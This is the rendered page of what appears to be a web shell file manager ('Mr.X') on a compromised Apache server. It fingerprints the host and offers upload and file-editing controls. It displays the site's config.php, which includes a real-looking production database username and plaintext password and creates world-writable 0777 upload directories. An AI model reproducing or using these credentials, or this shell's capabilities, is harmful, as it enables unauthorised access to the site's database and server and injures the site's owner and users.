🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:config.php
<?php /** * ARCHI-TECH Global Configuration */ if (session_status() === PHP_SESSION_NONE) { session_start(); } // Environment Detection (localhost vs production) $is_localhost = false; if (php_sapi_name() !== 'cli' && isset($_SERVER['REMOTE_ADDR'])) { $is_localhost = in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1']) || (isset($_SERVER['HTTP_HOST']) && ($_SERVER['HTTP_HOST'] === 'localhost' || $_SERVER['HTTP_HOST'] === '127.0.0.1')); } else if (php_sapi_name() === 'cli') { $is_localhost = true; // Default to local settings in CLI environment } if ($is_localhost) { define('DB_HOST', '127.0.0.1'); define('DB_PORT', '3306'); define('DB_NAME', 'architech_db'); define('DB_USER', 'root'); define('DB_PASS', ''); } else { define('DB_HOST', 'localhost'); define('DB_PORT', '3306'); define('DB_NAME', 'websparkit_architechdb'); define('DB_USER', 'websparkit_udara'); define('DB_PASS', 'Flashback123'); } // Path Constants - Auto-detected dynamic BASE_URL if (php_sapi_name() === 'cli' || empty($_SERVER['SCRIPT_NAME'])) { define('BASE_URL', '/'); } else { $script_path = str_replace('\\', '/', $_SERVER['SCRIPT_NAME']); // Remove filename (e.g. '/index.php' or '/login.php') from the path $script_dir = preg_replace('/\/[^\/]+\.php$/i', '', $script_path); // Remove '/admin' folder name if currently accessing admin script $base_dir = preg_replace('/\/admin$/i', '', $script_dir); $base_url = '/' . trim($base_dir, '/') . '/'; if ($base_url === '//') { $base_url = '/'; } define('BASE_URL', $base_url); } define('UPLOAD_DIR', __DIR__ . '/../uploads/'); define('PROJECT_UPLOAD_DIR', UPLOAD_DIR . 'projects/'); define('PDF_UPLOAD_DIR', UPLOAD_DIR . 'pdf/'); // Ensure directories exist if (!is_dir(UPLOAD_DIR)) { @mkdir(UPLOAD_DIR, 0777, true); } if (!is_dir(PROJECT_UPLOAD_DIR)) { @mkdir(PROJECT_UPLOAD_DIR, 0777, true); } if (!is_dir(PDF_UPLOAD_DIR)) { @mkdir(PDF_UPLOAD_DIR, 0777, true); }
Save Changes
Cancel
Create New File
Create New Folder